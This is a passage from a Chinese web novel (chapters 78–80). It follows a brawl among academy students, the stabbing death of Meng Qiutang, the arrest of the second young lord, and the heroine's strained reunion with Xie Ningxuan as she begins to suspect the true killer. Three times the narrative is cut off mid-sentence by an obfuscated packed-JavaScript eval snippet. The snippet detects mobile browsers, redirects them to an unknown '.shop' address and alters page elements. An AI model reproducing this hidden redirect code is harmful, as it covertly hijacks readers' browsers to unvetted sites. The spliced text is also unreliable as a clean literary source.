第三个声音出现:“嘘,小点声。” 咦,原来来的不止两人?那方才谈论姑娘,怎么没听到这个声音? 二公子脸色又变了。 “小声什么小声!不用怕!他那些破事谁还不知道?要不是有个继后姑母,他敢冒死那般回答?腆居状元之位就算了,还假清高!我告诉你们,昨日我就看见,他在书院后门,分明在和……私下见面呢!” 和谁见面? 我提了提耳朵,竟然没听清!靠,不是说不小声嘛,说到这怎么声如细蚊了! 还有,这事又和继后有什么关系?哦,对哦,当今圣上原配早逝,继皇后的确姓陈。这么说,是和陈尧昇出自一家了? 我这厢正有一搭没一搭的胡乱琢磨着,二公子却猛地以拳击掌,一把推开了雅间门。 动作之快,我完全没反应过来,他的声音已从隔壁传来:“不许你们这么侮辱陈先生!” 我懵了,停顿三秒才追上一看,二公子已被隔壁雅间三个人围了起来。 其中一名着银白长衫的男子站在他的身侧,低声劝阻:“宁辕,回去吧,莫生事。” 咦,这人……哦,这不是我见过两次的那个性情不定的方向杰吗? “嘿,我说谢宁辕,你有病吧?替人出头也不看看自己本事!”方向杰身侧站着个穿绿衫的公子,装扮优雅,但说话的时候下巴翘的老高,让人看着不舒服。 “孟秋堂,你背后议论先生,太下作了!” 被骂的孟秋堂登时恼了:“你说谁下作呢!你不要以为你爹是王爷,你就可以在这大放厥词!” 语毕,站在他身侧的一个国字脸、塌鼻子,面相不善的男子也开了腔。语音拖得长长的,带着浓郁的调侃:“呦,二公子,你别好赖不分呀。陈尧昇罚你抄写可从不手软,你倒还护着他?咋的,你们之间有什么不可告人的秘密?” 孟秋堂哈哈大笑:“说不准呢!我就见过宁辕偷偷摸摸窥探陈尧昇!怎么着,让他给你泄题?” 从对话不难辨出,他们都是白马书院的学生。 二公子脸涨的通红,手指头直发抖:“你们都是小人!有本事当着陈先生面说啊!在书院的时候怎么连顶撞都不敢!” 国字脸不爽了,朝前走了两步,被方向杰拦住了。 “宁辕,你走吧,这不干你的事!” 二公子一眼瞪过去:“向杰,你不要再和他们混在一起了!这俩人整日花天酒地、不务正业,就知道出入秦楼楚馆,伤风败俗!你为什么要自陷泥……” “谢宁辕!”孟秋堂大吼一声,“我敬你是宗室,你不要得寸进尺!快给我滚,否则别怪我不客气!” 国字脸也黑了脸,两手抱拳捏的咔咔响,威胁意味明显。 “好了,别争吵了,宁辕,你赶紧走!” 二公子反手拽住方向杰:“那你和我一起走!” 方向杰还没回答,那国字脸忽然将目光对准扶着门框吓得不轻的我,阴阳怪气道:“呦!原来我们尊贵的二公子带着小美人私会呢!刚才倒对我们大放厥词,不知到底是谁有辱斯文?” 方向杰也看向我,不知道认出来没有,但显然不喜欢这种说辞,皱眉喝止:“不要混说,莫牵连旁人姑娘。” 但那二人却未理他,依旧挑衅的看向二公子。 “宁辕,你赶紧……” 二公子忽然跃步,打断了方向杰的劝阻。他扬起拳头,朝孟秋堂砸去,正中面门。 当下全场都被震住了,所有人傻呆呆的看着二公子扑上去又给一拳,却被后者一个鹞子翻身压在地上。 孟秋堂开始了回击,二公子失去重心,脸上也重重挨了一拳。 我惊呼一声,另两人也才如梦初醒。 国字脸二话不说加入战局,扑上前帮助孟秋堂压住二公子,老拳一下接一下。突然被二对一,二公子马上就落了下风。 方向杰比我更快冲上去拉架。可这三个人打得起劲,我和方向杰加一起,都扯不开他们。 我刚抓住孟秋堂的胳膊,就被他抡开。方向杰则被波及,也不知哪个没个章法乱挥拳,径直砸中了他的嘴巴,他吃痛捂脸退开,吐出血来,牙也掉了一颗。 少了我们的拉架,二公子被打的更惨,但嘴里还在不依不饶:“你们混蛋、小人!等着,等着,我、我迟早,我迟早杀了你们!” 那二人下手就更重了,霹雳哐啷一阵猛揍,我又气又急,围着成团的三人转,就是找不到下手拉架的机会。 方向杰也再次冲来,这次他总算拽开了拳拳到肉的国字脸,又对着孟秋堂大喝一声,两个打人的混蛋才气喘吁吁停下。 “二公子,二公子!天哪!你还好吗?”我扑上去查看。 二公子正仰面倒在地上,满身是土,脸上青一块紫一块,眼角、嘴角都有血痕,喘着粗气,显然被打的不轻。 孟秋堂狠狠唾了一口:“妈的,今天只是给你个教训!下次再敢放肆,看我……” “少爷!这、这……”门口忽然又出现一人,穿着粗布麻衣,胆颤着打断了孟秋堂的叫嚣。 孟秋堂回头怒视:“干什么!” 这应该来的就是孟府的小厮,觑一眼少爷左眼的黑圈,战战兢兢:“是老夫人、老夫人差人寻来了,问您怎么还不回府。” “知道了,这就回。”孟秋堂不耐烦的挥挥衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我提裙角追上去:“你等一下!往左边走,那边有个医馆!” “不去!” “你别逞强,你脸上的伤……” “说了不去就不去!” “可你真的……” “不要你管!” 嘿!耐心褪去,我也烦躁起来,恨恨丢下一句:“行行行,爱去不去,疼的又不是我!” 二公子恼火的白我一眼,气的越发大步不停。发髻松乱,脸上身上血迹斑斑,往来路人都跟看神经病一样看着他。要不是不放心,怕他路上倒下昏迷,我才懒得跟着他! 一路无话,绕到了白马书院正门,他更是理都没理我就爬上了马车。 马车夫都懵了,盯着主子头上的血,是问也不敢问,说也不敢说。哆哆嗦嗦,他将目光投向了我。 我按下心口躁意,摆了摆手:“劳你送二公子回王府吧,我自己回家就行。” “王小姐,您不上来,不送您回家吗?” “她不上就算了!”马车内传来二公子愤愤的声音——我都能想象他气鼓鼓撅嘴的样子——“走,咱们走!” 真是小孩子脾气! 罢了,自己走回家,也比被他阴阳怪气撒火波及要舒坦。 于是乎,在夕阳褪尽华灯初上的繁华景色中,我就这么迈着缓慢的、拖沓的步伐,一点一点往家挪。 78.青柯一梦 街道两旁正有不少摊贩叫卖,糖葫芦、糖人、风筝、手帕数不数胜。各色人群在夜市里涌动,鳞次栉比。 有成群结队的姑娘们,拉着同伴的手,兴奋的挑着喜欢的物件。有端着一笼笼香喷喷的包子出炉的大娘,听着丈夫指令,挑出对应口味的包子装袋,麻利、熟络。 她们可以自由走在街市,却不能全盘掌控人生的自由。 这真是个变扭的朝代。 越走到南咏街,月光斑斓映下,刻画出一个一个奇形怪状。巷口的铺子爱在门口摆放鎏金香炉,三支檀香映出星星火光,幽幽冉冉。王婆家的毛呢帐子裂着一道缝,她每每叫儿子来补,却总是被敷衍搪塞。 这条街上的一切,我已经烂熟于心。偏偏于我而言,这些真实的存在,都让我害怕,它只是一场梦。 南柯……不,既是大青,这怎么着也应该是青柯一梦。 梦会醒吗?梦里,又有一个上帝,在左右着主人翁们的命运吗? 然而天马行空的思绪很快被扯回,如白日梦魇,我竟又遇到今日打架中的两人。 那国字脸和方向杰站在巷子拐角,不知窃窃私语什么。 反感立生,我绕道摊贩后,不动声响的避开了他们。当下,这只是个不足为人道的小插曲,根本不值得我记挂。谁知后来,竟搅和出那么大的漩涡,但这就是后话了。 此时此刻,收走我全部心思,吸引我全部注意力的,是我家院中,竟坐着一个人,我心心念念的人。 谢宁轩,他又来了。 其实这个月中,他没少来我家。我都知道的。 垂云垂柳一早不明所以,还照旧请他入内,撞见的,唯有我如冰面色。渐渐的,她们也不再给他开门。 一窗之隔,如鸿沟,是银河。 可他还是会来,有时,仅仅在院中小坐片刻。有时,则是在院外垂首踱步。 我不肯出门,就连偶遇的机会,也不肯给自己创造。 可今日,我还是被他逮到了。他交叠着双腿,坐在石台边,明明身姿挺拔如竹,缘何散发出丝丝颓意? 夏日已过半,夜晚也褪去了潮热。丝丝偶来的凉风中,毫不留情的雷击,正一道道劈向我的大脑。 空白、迟缓,脑子不转了。我呆呆地望着他起身,朝我走来。 “羽书,好久不见。你、你最近好吗?” 好客套的说辞,竟比我们刚认识时,口吻还要陌生。 心口好似扎入了一把匕首,钝钝地,不尖锐,就那么一点一滴往里戳。 原来伤心,也是有具象的疼痛。我终于懂了,过去一月,我已经饱受凌迟。 为什么,为什么他还会出现,再赐给我一道刑罚? 许是见我没有说话,谢宁轩低眉挤挤嘴角,分不清是悻悻还是自嘲。但稍稍退后的步伐、换之严肃疏离的口吻,无不彰显着他的自持。 “羽书,对不起,令你觉得唐突了。但今日我来,的确有事找你。” 不见天日的沼泽,忽地来了一口氧气。天灵盖垂下的那丝丝理智,又掌控了整个大脑。我听到自己的声音,极尽全力压下着颤抖。 “什、什么事?” “我之前派人南下去调查你落水,还记得吗?” 是我的错觉吗?他的声音,分明也不平静。 那双如海深眸,一向亮的犹如灯塔照耀,此刻,却是浓雾弥漫。 他稍稍避开了视线,一声微不可觉的叹息后,他从怀中掏出一封信来。 “派去苗姜村——哦,就是那个发生天花被封的村子——的人回来了,通过与画像比对,当日被抓走了的七个外人,的确就是你的下人。” 虽已料到,我还是心口一震。旁的思绪都往后稍息,我只惊恐的问:“那他们,那他们……” “目前还没有解封的消息。我朝对疫病防治管理严苛,当地官府有高度管辖权,我想,即便父王亲自去,也不可能从中带走疫病患者。” 以这个时代的医疗情况,下下之策却也是唯一的办法。那也就是说,这七个人,凶多吉少了。 犹如北风大力吹着脊梁骨,我打了个冷战。忍不住颤声问:“我落水,是在七个下人都被调开后……橙橙,到底有多大的能耐,刻意偏离近路,又让他们莫名其妙感染天花……” 谢宁轩胳膊动了动,手倏地握成了拳。 这一刻,饶是两个独立的人,我却一瞬间感知到了他的意念。 他想握住我的手,他想安抚我。 可最终,他只是放缓了语气,静静的说:“若说能耐之大,也不太能讲通。毕竟作为你的贴身丫鬟,橙橙一路上可下手的机会太多了,为什么偏偏是落水?还由得你被救?东橘村的人明确说过,救你时看到对岸有人影闪过,反过来也可以证明,橙橙看到了有人施救。既如此,为什么不留下来继续作案?” 是啊,我也想不通。 原主虽然没有给我留下任何记忆,不能判断在落水的一瞬间,原主是否知道是橙橙推了自己。但从之前的调查来看,这对主仆感情极佳,至少,橙橙一度是原主的依靠。那留下观察死活后再接近寻机谋害,才应该是上策。 她没等到结果就逃跑,为什么? “也许,她并不想置你于死地。”谢宁轩提出一种思路,“到底是多年的主仆,你们一路相安,或许是她犹犹豫豫、舍不得下手的表现。你在东橘村落水,有人施救也未必能活,也许她跑,是想交给老天决定。” 要是按照这种说法,她其实成功了。 我灰暗的想,王羽书,其实已经死了,不是吗? “另外,与橙橙攀谈过的十里驿驿卒回来了。”谢宁轩顿了顿,又道,“他的回忆,可能推翻了咱们之前的设想。” 我一怔:“什么意思?” “该驿卒回忆称,因为听说你们是上京的,他便给你的大丫鬟说了前方有村落感染疫病,建议你们速走,莫在附近逗留、吃外面的东西。” “什么,是他说的?那橙橙……”我很诧异,“橙橙是在此才知道天花一事?” “应该是的。”谢宁轩颔首,“经东橘村的目击者证实,驿卒描述的大丫鬟就是橙橙。驿卒说橙橙听到消息,大吃一惊,很惶恐,抓住驿卒问了许多。从这一点判断,舍近求远拖慢进度,并非千里之外已预知疫病的发生,而故意行之。” 我松了口气,橙橙及她背后的幕后黑手没有那么神通广大。 但问题依然很多。 “照这样分析,橙橙知道这个消息后,并没有告诉我及其他下人,所以我们一行还是照常上路往京城走。那橙橙和另七人感染天花有关系吗?如果有,我和她,又是怎么避开的?我和橙橙又为什么与大部队分开?” 谢宁轩也答不上来,想了想道:“现在只可以确定,你们之中,唯有橙橙知道前路有天花。而且在最初的惶恐过后,她的表现也耐人寻味。用驿卒的话说,她露出了一种若有所思的表情。” “若有所思?”我背后一凉。 眉峰蹙起,谢宁轩抱臂,这是他一贯思考时的动作。 “这似乎说明,她想要拿天花做文章。但正如你所说,疫病不是人力能控制的,她若能让另七人感染,何不直接让你感染?这也是我说,或许她没打算置你于死地的原因。否则就凭感染天花一条,你的小命就难保。” 确实,这确实讲不通。 如果不是奔着天花去,为什么没有走上京的近路?七个下人感染,是意外还是故意,是为了支开他们吗?已经过了四个多月,金华那边却始终没有橙橙的消息。 这段时间我也把金华往年与老爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741893|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的来信读了个遍,实在没看出杀机。原主不过一个闺阁少女,什么人非要致她于死地?既买通贴身丫鬟,计划完全未有泄露,似乎说明幕后黑手颇有地位,那又会是谁? 我想来想去也没有突破,只能叹口气再问:“还有什么旁的线索吗?” “还有一条,好像与案件关联性不大。”谢宁轩将信翻到最后一页,眼神倏地变得越加幽深,他轻声说,“这里说驿卒之所以对你印象深刻,是因为你大晚上不睡觉,点灯捕蝴蝶。次日临走时,还听到你说要找个风景如画的地方放飞蝴蝶。” …… 原主这是什么性情,怎么听起来像是七八岁的小女孩啊? “说实在的,这好像更符合我记忆中的王羽书。”谢宁轩又补了一句。 平淡如水的语气,我却心口一震。 心虚感弥漫,鸠占鹊巢的我又被吓出一身冷汗。鬼神论深入人心,我要真被发现身份成谜,不知道会不会被当作小鬼上身处理掉? 我唯有佯做镇静:“遭遇这么大的变故,我还怎么天真的起来。” 谢宁轩神情微变,目光愈加柔和。 “羽书,别担心。如今在京城,你很安全,没有人敢对你怎么样。”他咬了咬唇,似是犹豫一瞬,但还是说了出来,掷地有声,“有我在,你相信我。” 说话间,他牢牢地锁着我的双眸。我能看到他的眼中正流淌着清泉,彷佛会有锦鲤随时跃出。 可我已失了拥锦鲤入怀的机会,不是吗? 若他日后知晓,我真的不是他认识的王羽书,不知道会不会连此刻的温情都不再。即便我隐藏的好,随时被质疑被介怀的格格不入,也没有沉溺爱情的资格,不是吗? 别招惹,别停留。 既然畏惧将来可能受到的伤害,那现在的孤寂,就是你该承受的枷锁。 我在心里唾骂自己一句,木讷的福了福身,勉强算是道谢。 谢宁轩生硬的扯了扯嘴角,身形又现轻颓。 没再耽搁,我好怕自己坚持不住。索性强逼自己,脚步僵硬的回了屋。 身后,我能感受到,一道灼灼而又隐忍的目光,始终追随着我。 罢了,罢了,情深几许也敌不过时间与现实。我告诉自己,忘了吧,忘了吧。自此之后,别再有交集了,别再有往来了。 可剧本的走向实在磨人,没过两日,一场突如其来的变故,就又将我们两个拉到了一条阵线。 而起因,竟然是二公子,他出事了。 *** 是日,正是公布白马书院本年年考成绩的好日子,已过亥时,师生都还未离去。五进院中,他们都聚在第二进院落中,三三两两低头交谈着,听到脚步声,各个抬头来瞧,神情紧张。 这里刚发生了一桩命案。 老爹昨日才从直隶归来,今天就直接到岗。我与他并排跟在浮生身后,匆匆绕进最后一进院子。 廊下一棵榕树挡住了脚步,待视线开阔,我一眼就看到谢宁轩。他正身穿官服,微微垂下眼帘,抱臂而立。 夜色中,他的身影显得孤寂。 听到声音,谢宁轩扭过头,看到我的时候也没有舒展眉头。 “王副官,有劳了。” 老爹惶恐的问:“怎么回事?杨捕头只说波及到二公子,让我速来。发生了什么,是他受伤了?” 谢宁轩脸色很沉,也不言语,只伸手指了指旁边地上一滩暗红色的血迹。 我登时也慌了,颤着音问:“这、这是二公子的血?” 幸亏,一旁的韩桂摇了摇头:“不,二公子没受伤。死者、死者在那边……” 他朝不远处一具背趴在地上的男尸努了努嘴,“看起来是被捅死的。尸体发现的时候,二公子,嗯,二公子正拿着刀站在他身边。” 79.血迹 我倒吸一口凉气,和老爹面面相觑。 浮生一路语焉不详,来不及细说,搞得我和老爹惶惶不已。但怎么担心,也没想到,二公子竟然会是疑凶。 老爹没再耽搁,立即上前验尸。 沉默间,我终是忍不住觑向谢宁轩。 似是感知到了,他垂首闷声讲述:“目击者看到宁辕拿刀站在死者身边。宁辕却说,他走到榕树下看到此处地面发亮,走过来捡起刀而已。可是……” 谢宁轩欲言又止,显然情况不像二公子所说那样简单。 “那他人呢?没有受伤吧?” “他没事,暂时押了起来。”谢宁轩指了指相邻的两间屋子,“目击者则在旁边那间。” 他的语气是平静的,可比起往日断案有条不紊的镇定,紧握的双拳,紧锁的眉头,鼓起的太阳穴,都演绎着他波动的情绪。 我在心底叹口气,强压下握住他手的冲动。 一时四下寂静,在衙差举着火把的照明下,老爹谨慎又快速的验看着,从背面到正面。翻过尸体时,狰狞的人脸被火光映得可怖。死者眼睛瞪得老大,血糊在眼皮上,骇人不已。 但我立即爆发出的尖叫,却并非被死相吓到,而是认出了他——这就是那日与二公子打架的其中一人——孟秋堂啊! “我迟早杀了你们!” 二公子的话乍然浮现在耳边,惊得我站不稳。 谢宁轩敏锐的扶住了我:“怎么了?你认识他?” “他、他和、和二公子打过架。”我紧张地狂舔嘴唇,将事情和盘托出后,谢宁轩脸色更是难看。 这时,老爹擦着汗走了过来:“初步验看了,死者确系死于刀伤。”他拿起地上那把沾满了血迹的刀,“全身上下有十九处伤,都和这把刀刀口吻合。” 十九刀! “从刀口的深浅和皮肉卷曲情况来看,凶手应该是从背后袭击,一刀割喉,但没能致死。颈部的伤口令死者无法发声,因而当时应该没有任何求救声发出。死者被袭击后双手捂颈,转过身面对凶手,又遭捅腹,随后倒地。他的胳膊也有抵御伤,致命伤则在后背心口处。” 老爹指着地上第一滩血迹和死者位置之间绵延的血迹,“据我推测,死者当时还有口气,就拼命朝前爬,却被凶手追上继续捅刀。死亡之后,凶手还朝着死者又捅了几刀。” 天哪…… 我听得心惊肉跳,同时深深的意识到,不可能,不可能。这怎么可能是二公子干的?不过是打了一架,怎至于此。 就算今天两人又起冲突,二公子一怒之下拿刀伤人,也不至于连捅十九刀,背后割喉吧? “好,我知道了。”谢宁轩的声音也有一丝不易察觉的颤抖,“有劳王副官,请将尸格尽快写好,速速送到府衙。” 老爹颔首:“我也会对尸体进一步验看,如有其他发现会一并在尸格中体现。现在可否让我见一下二公子?” 谢宁轩没多问,直接带领老爹朝西厢房走去,我亦紧紧跟随。 我明白老爹是想查看二公子的衣服,通过是否有喷射状的血迹来判断行凶与否。毕竟二公子被目睹时,还持着刀站在死者旁,说明尚无时间更衣。 但我把事情想简单了。 刚一进屋,二公子就冲来,带着哭腔大叫:“哥,我没杀人!” 谢宁轩一把扯开弟弟,语气暗哑:“恐怕无法从此推断。” 昏黄的烛光下,二公子脸色惨白,那日打架的伤口,还没有完全愈合,青青紫紫呈斑驳状。 但让人触目惊心的还得属他满身的血。 月白色的院服前襟染成了暗红色,他的脸上、脖子上也有血点,看起来真的像喷射上去的。 “哥!不是我!”二公子哭丧着脸,又朝我哭诉,“羽书妹妹!不是我杀的人!你相信我啊!” 谢宁轩一拂袖子,恨铁不成钢:“你不是说你只是看到地上有光去查看吗?为什么会搞得一身血?” “我摔倒了!”二公子大吼,“我说了!我摔倒了,摔在血迹上了!” 谢宁轩抿抿嘴,脸色铁青。 我知他心中波澜起伏,只得压下自己的急躁,安抚道:“二公子,你别急,你慢慢说清楚,你在哪里摔倒的?怎么摔得?” 二公子嘴角朝下,惨兮兮道:“我走进院落的时候……” 跟在身后的浮生觑了眼上司表情,怯怯打断道:“进院落?可这最后一进院子都是老师居住的,当时没人在,二公子为何要来?” 二公子扁了扁嘴:“陈先生衣衫被泼湿了,我来帮先生取件衣衫而已。不信你们去问陈先生嘛!” 谢宁轩眉头紧蹙:“他衣衫的确湿了,就是你泼湿的。而且他说不碍,也是你坚持要替他来取,是不是?” 心内一咯噔。 证人虽有,证词却把主动性指向了二公子。即,来此的动因,就是他自己引发的。难道,二公子真是故意来此作案,还笨拙的给自己找了个理由? “什么呀!我只是不慎泼湿,也是好心来取,什么叫我故意啊?”二公子委屈极了,大声反驳。 “那你取的衣服呢?” “说了我刚进院落!还没进屋呢啊!” 如此巧合?连物证也没有? 谢宁轩面如锅底。无法,作为一个刑狱官,实在很难相信这种没有佐证的说辞。 最后还是狗腿老爹安抚了二公子两句,继续催问后来发生的事。 “我往陈先生屋子走嘛,眼角瞟到地上有光,我还觉得奇怪嘞!就过去一瞧。谁知脚下一滑直接摔倒了!嘴里鼻里全是腥气,手边也碰到一个冰冰的东西。我爬起来的时候就顺手捡起,竟然是把刀!我又看到地上一双脚,往前走了几步才看到秋堂……秋堂他……我吓死了,叫都叫不出来。这时候就听见后面人的尖叫声,硬说是我杀人!哥,羽书妹妹,王伯父,你们得相信我啊!” 凄厉的叫喊声没有用处。虽然地上血迹四周的确有很多脚印,被破坏的痕迹明显。可他身上的血太可疑了,用简简单单一个摔倒了的理由,很难令人信服。 何况,他来此的缘由虽能讲通,却存在刻意引导的嫌疑。 谢宁轩朝我看来,目光中是一样的无奈和失望。 及至询问证人,又令我心头一震。 眼前这神情悲伤、眼角带泪的男子,不正是那日的国字脸吗? 天哪,三人互殴,不过几日后,便死了一个。剩下俩一个是凶手,一个是目击者?这也太巧合了吧! 那拦架的方向杰呢?刚才自师生中匆匆走过,好像没看见他。 见谢宁轩朝我投来疑问目光,我忙挑眉暗示。谢宁轩立马就读懂了,亦神色一凛。 国字脸也认出我来,有些愕然:“你这女子……你在这做什么?” 谢宁轩侧身上前半掩住我,冷淡道:“张公子不必多问,详细说明你看到的一切即可。” 张公子不悦,宽腮微凸。他的确没再多问,却旋即叫嚣起来:“谢府丞雅兴,查案还带着个姑娘!但秋堂死的实在无辜,你怎么还不把谢宁辕抓走!” 浮生立即上前说明:“官府查案有流程的,张公子请勿催促。” 张公子才不鸟他,依旧挑衅的盯着谢宁轩。 谢宁轩也没发怒,声线平淡:“本官查案自有判断,张公子若不服,大可上告。现在,麻烦你将方才发现案情的过程再说一遍,切记不得有虚假和遗漏。” 张公子瞟了我一眼,似乎很不情愿当着我的面进行。 但谢宁轩淡漠的看着他,无端扑来的一种威势,还是令他妥协了。 “今天是放榜日,照例晚上有宴会,院长亲自嘉奖三甲。宴会进行到一半,马上就要给秋堂颁奖了,我却发现他不见了。” “颁奖?”我忍不住发出疑问。 “秋堂就是第三名!”张公子瞪我一眼,“我就赶紧四处找他,前面都没有,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749198|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估摸着是不是到最后一进院子解手来了,就来瞧瞧。刚跨过月拱门,就见谢宁辕浑身是血,拿着一把刀,旁边地上则躺着一人……我立时惊得大叫,他回头看我,那眼神……吓死我了!我怕他连我也砍,就一边喊一边冲向外面,众人赶到,这才抓住他!” “你亲眼看到谢宁辕拿着刀?”谢宁轩问。 “是啊。” “可还看见其他人?” “没有。这里有藏书阁,我们一般不被允许进来。而且大晚上黑漆漆的,谁没事往这儿跑?我一走进来就看到谢宁辕,他还能是无辜的?一定是他怀恨在心,才会对秋堂下此狠手!那天他已经动手打人了,还嚷嚷着要杀人!” 我听这厮颠倒黑白,丝毫不提打架缘由,心中冒火,正要上前反驳,谢宁轩伸手拦住了我,摇了摇头。 他又问:“打架的都有谁?可都在书院?” 张公子蹙起眉头:“那日向杰也在。他现在……许是在前院吧。我都不知道他听没听到消息。这次考试成绩不佳,他心情很不好,没和我们一道来。” 这么说,方向杰应该在师生人群中。刚听衙差讲了,发生命案后书院处理及时,立即关了大门,没让任何人进出。 “谢府丞,你可不要因为谢宁辕是你弟弟,就徇私枉法!”张公子又道,语气激烈,“孟家可不是吃素的,夫人出身高贵,不比你们差!别以为你们有着皇室血脉,就能只手遮天!我一定要为秋堂讨回公道!” 谢宁轩冷冷看着他,周身散发出森森寒气。 他一句话没说就出了屋子。但余下的证人证词也都对二公子不利。如此情势下,当浮生硬着头皮来请示时,即便再心痛,他也只能履行一个刑狱官的职责。 “登记后就让书院的人都离开吧。把谢宁辕……暂时收监。” “哥!” 二公子难以置信,紧紧拉着哥哥的手,后者却只能垂眼沉默。 二公子又上前扯我的袖子,一声声唤着“羽书妹妹”,让我越发不敢直视。 直到撕心裂肺的哭声渐渐消失,二公子还是被带走了。 如被抽走全部气力,谢宁轩朝椅子上重重坐下,脸色青白,颓然疲倦。 晴瑟楼案后,他就没有休息过。即便圣上只是要求他配合羽林军加强京城门户防务,他还是不知疲倦的出谋划策,甚至数次去各个城门口守夜,忙的连轴转。 我曾问他何须如此,他却说身为京城府丞,保卫一方百姓不受山贼马匪骚扰,维护作为大青颜面的京城安定繁荣,是最起码的责任。此次能够名正言顺的帮羽林军出主意,亲自督导加强门户管理,于他,还是意外之喜。 从他的黑眼圈中,我读懂了他的愿景,他的用心。 只是,这两个月来,他真的太累了。而我,非但不曾帮他分忧,却还添堵。即便如此,他还是抽空帮我理着橙橙的事。 谢宁轩,是我欠了你,我知道。 今日,以我们之间的关系,我似乎也没有立场安慰他。但心下实在痛如刀割,我还是没能控制住自己,上前劝了句:“不会是他的,我们肯定是有什么地方漏了。” 谢宁轩慢慢抬起眼帘,吹着雾霾的眸中,只敢露出一丝期冀。 “羽书,没事的,别为我担心。我一定能查到凶手,洗清宁辕冤屈。” 重重点头,胸口如被大石压着,喘不过气。 他顿了顿,又轻轻地说:“羽书,你能帮帮我……就当帮帮宁辕,好吗?” 潜意识中,我无比的相信此案定与二公子无关。同时,我也深深相信,谢宁轩一定能查清案件,即便没有我的协助。 “好。” 可声带先于大脑,我还是不假思索的答应了。 雾霾散了些许,他的眸中总算又现光亮,一瞬间的软弱已逝。轻撩衣衫,他起身束手而立,俨然又是那个清风明月的他。 “羽书,今日已经很晚了,你先回家吧。我去一趟孟府。” 80.十九刀 心中有事,觉也睡不好。次日天刚蒙蒙亮,我就醒了,坐在床上思索着昨晚的命案,没发出响声。 屋内昏暗,朦胧日光将垂云的身影剪在窗户上。垂柳拿起络子朝着太阳比划,不时夸赞垂云手巧。应是怕打扰我休息,两个人的声音都压的很低。 这时,窗外又凑近一人,语气急躁:“不好了,出大事了!” “小点声!”垂云叮嘱,“怎么了?” 是又画,她咂着舌:“今早我去买菜的时候,听见好多人都在议论,说御史大夫孟老之子昨晚死在白马书院了!” 垂云手中的棒针掉在窗台:“什么!” “真的!孟秋堂!” 垂柳嗓门高起来:“孟老嫡次子,据说上一届本来能中状元的那个孟秋堂?” “可不是嘛!”又画声音也拔高了,“上届状元,哦,就是晴瑟楼案主使的周家少爷,坊间都说他能夺冠就是因为孟秋堂考前病了,没能参加科举!” 听到周达尹的名字,我的心一颤。可听到他的学问居然不如那纨绔子弟,我条件反射摇头不信。 “这个我也有听说过!可是、可是孟公子怎么会死了?” “还有更吓人的消息!”又画顿了顿,“凶手是我们家二少爷!” “什么!”垂云垂柳齐齐大叫,声音怕是隔壁都能听见。 哎,昨晚那么大动静,只怕全京城都传开了,这下可难办了。 “嘘!”垂云慌忙示意,“小姐还在睡觉!” 垂柳努力压低着声音:“齐王府二公子?天哪,看着不像啊!” “就压根不可能是我们家少爷!肯定哪里出错了!二少爷虽说有些脾性,可对我们下人都没说过重话,怎么可能会干这种事!” 又画急得跺脚,“但外面都这么传,沸沸扬扬!我今天碰到的每个人都在议论!说孟夫人听到儿子被捅了十九刀,当时就晕了!孟老也落泪,还对我们家大少爷发脾气来着!扬言随时进宫告御状!” 心揪了起来。我就知道,作为疑凶的哥哥,谢宁轩一定会受到刁难。 垂柳唏嘘叹气,复又摇头:“我也觉得不可能!二公子何等身份,真有心谋划恶行,哪需要自己动手啊?再说了,二公子是咱们小姐的好朋友,哪次来不是说说笑笑,看起来很爽朗,不像是阴狠之人呐。” “本来就不是!坊间都是瞎传,根本不知道我们二少爷人有多好!竟然,竟然还传,我们二少爷是因为妒忌孟秋堂的学问而杀了他!离谱!” 垂云比较冷静,试探着问:“那、那二公子,学问怎么样?” 又画半晌没说话,再开口时明显泄气:“二少爷都比不过大少爷……若那孟秋堂能问鼎状元桂冠,那、那肯定也比不过了。” 听到这里,我没来由浮现出一个思路,难道杀机真的与科举有关? 可这只是传闻。 上科病倒,误了状元,所谓“如果”不过是自欺,更不代表下科也能保持同等水准。毕竟,今年的白马书院年考,孟秋堂不也就第三吗?未到考试时,鹿死谁手尚不确定,此时动手,太心急了吧? 再说了,十九刀,下手之初还欲割喉,这怎么看怎么像深仇大恨才有的…… 等等……太阳穴猛的一抽,疑虑陡升。 十九刀,又画怎么知道十九刀? 昨晚老爹验尸禀告时,明明只有我和谢宁轩、几个衙差在场。之前案件,谢宁轩已经展现了御下的严格,即便案情在坊间有所流传,细节绝不会外泄。 难道——我机械地站起身来,感觉气血在涌动——凶手,凶手知道。 我和老爹自不必说,京城府衙上下人等我相信也不会出这么大的纰漏。那么,能知道这个细节的,唯有凶手。 他并非一时激愤,毫无章法的乱捅一气,而是清清楚楚的记得,自己捅了多少刀。 鸡皮疙瘩丛丛冒出,我不得不深切的意识到,这个凶手,真是个凶残、变态之人。 不仅“十九刀”可疑,方才又画说的“沸沸扬扬”,也不对劲。 昨晚书院人是不少,可不过一夜功夫,杀人血案坊间便人尽皆知,这也太快了吧?这年头又没有手机又没有网络,人传人能多快? 也是凶手,是他故意传播,对不对? 